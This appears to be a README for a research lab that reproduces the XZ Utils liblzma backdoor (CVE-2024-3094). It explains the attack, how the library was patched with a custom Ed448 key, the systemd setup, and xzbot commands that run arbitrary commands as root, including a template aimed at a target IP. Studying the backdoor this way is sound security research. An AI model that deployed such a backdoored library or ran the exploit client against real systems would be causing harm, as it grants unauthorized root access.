h3raklez/cve-2024-3094Educational lab replicating the XZ Utils backdoor (CVE-2024-3094) with a custom Ed448 key pair. Includes a patched liblzma, systemd service, and exploit client for authorized security research.
For educational and authorized security research purposes only.
CVE-2024-3094 is a backdoor introduced in versions 5.6.0 and 5.6.1 of XZ Utils (liblzma), discovered on March 29, 2024 by security researcher Andres Freund. It was assigned a CVSS score of 10.0 (Critical).
This is a supply chain attack carried out over more than two years by a threat actor known as "Jia Tan" (JiaT75), who built trust within the project until gaining co-maintainer status and introduced the backdoor directly into the distribution tarballs.
The backdoor operates as follows:
liblzma.so hooks the RSA_public_decrypt() function in OpenSSH via glibc's IFUNC mechanism, intercepting the SSH authentication process.system() with sshd privileges (root).This lab replicates the backdoor mechanism using custom Ed448 keys instead of the original actor's keys (which were never made public).
In real affected systems there was no chroot. The backdoor operated directly on the system's sshd, which loaded the malicious liblzma.so as any other shared library — completely transparent to the system and its administrators.
In this lab we use chroot solely for a practical reason: we need to run an sshd with a specific version of liblzma.so without replacing the host system's libraries. This is a design decision for the research environment, not a reflection of how the backdoor operated in production.
| Component | Description |
|---|---|
env_fs/ | Minimal Ubuntu 22.04 filesystem used as chroot |
env_fs/usr/lib/x86_64-linux-gnu/liblzma.so.5 | liblzma 5.6.1 patched with custom Ed448 key |
/etc/systemd/system/xzback.service | systemd service launching vulnerable sshd on port 2024 |
/xzbot/xzbot | Exploit client compiled from source |
The original backdoor requires very specific conditions that do not exist automatically in a lab environment. The following modifications were necessary:
The liblzma.so.5 included in MagpieRYL's original repo uses an unknown Ed448 key that is inconsistent with the included xzbot binary. The original and authentic liblzma.so.5.6.1 was downloaded from Debian snapshot (sha256 verified) and patched using patch.py from amlweems/xzbot with seed=0:
original sha256: 605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4
patched sha256: ea7206ab4b0c3479ff1b478c8803adc9e7aeba243254a9f601b626ef8aa80e3d
patched offset: 0x24470
The original actor's Ed448 public key was replaced with:
5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00
The original service uses Type=notify, which requires sshd to send a startup notification to systemd. The sshd inside the chroot does not send it, causing timeouts. Changed to Type=simple.
sshd requires /run/sshd for privilege separation. This directory does not exist in the chroot and is wiped on every reboot because run/ is a tmpfs. Solved with an ExecStartPre that regenerates it automatically before each service start.
./xzbot -addr 127.0.0.1:2024 -cmd 'echo pwned > /tmp/result'
cat /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/result
./xzbot -addr <TARGET_IP>:2024 -cmd 'echo pwned > /tmp/result'
The command executes inside the chroot, so any file created under /tmp/ within the backdoor context is stored at:
/home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/
That is, if the command is echo pwned > /tmp/result, the file will be found at:
/home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/result
To locate any file generated by the exploit:
find /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/ -type f
The message ssh: handshake failed: EOF is the expected and correct behavior. The backdoor executes the command and closes the connection without establishing an SSH session. It does not indicate failure.
This lab uses a custom cryptographic key pair (seed=0). The patched liblzma.so only accepts payloads signed with the corresponding private key, which is the one used by the xzbot compiled in this environment. Any other client will receive EOF without execution.
This tool is provided for educational purposes and authorized security testing only. Unauthorized use against systems you do not own or have explicit written permission to test is illegal. The author is not responsible for any misuse.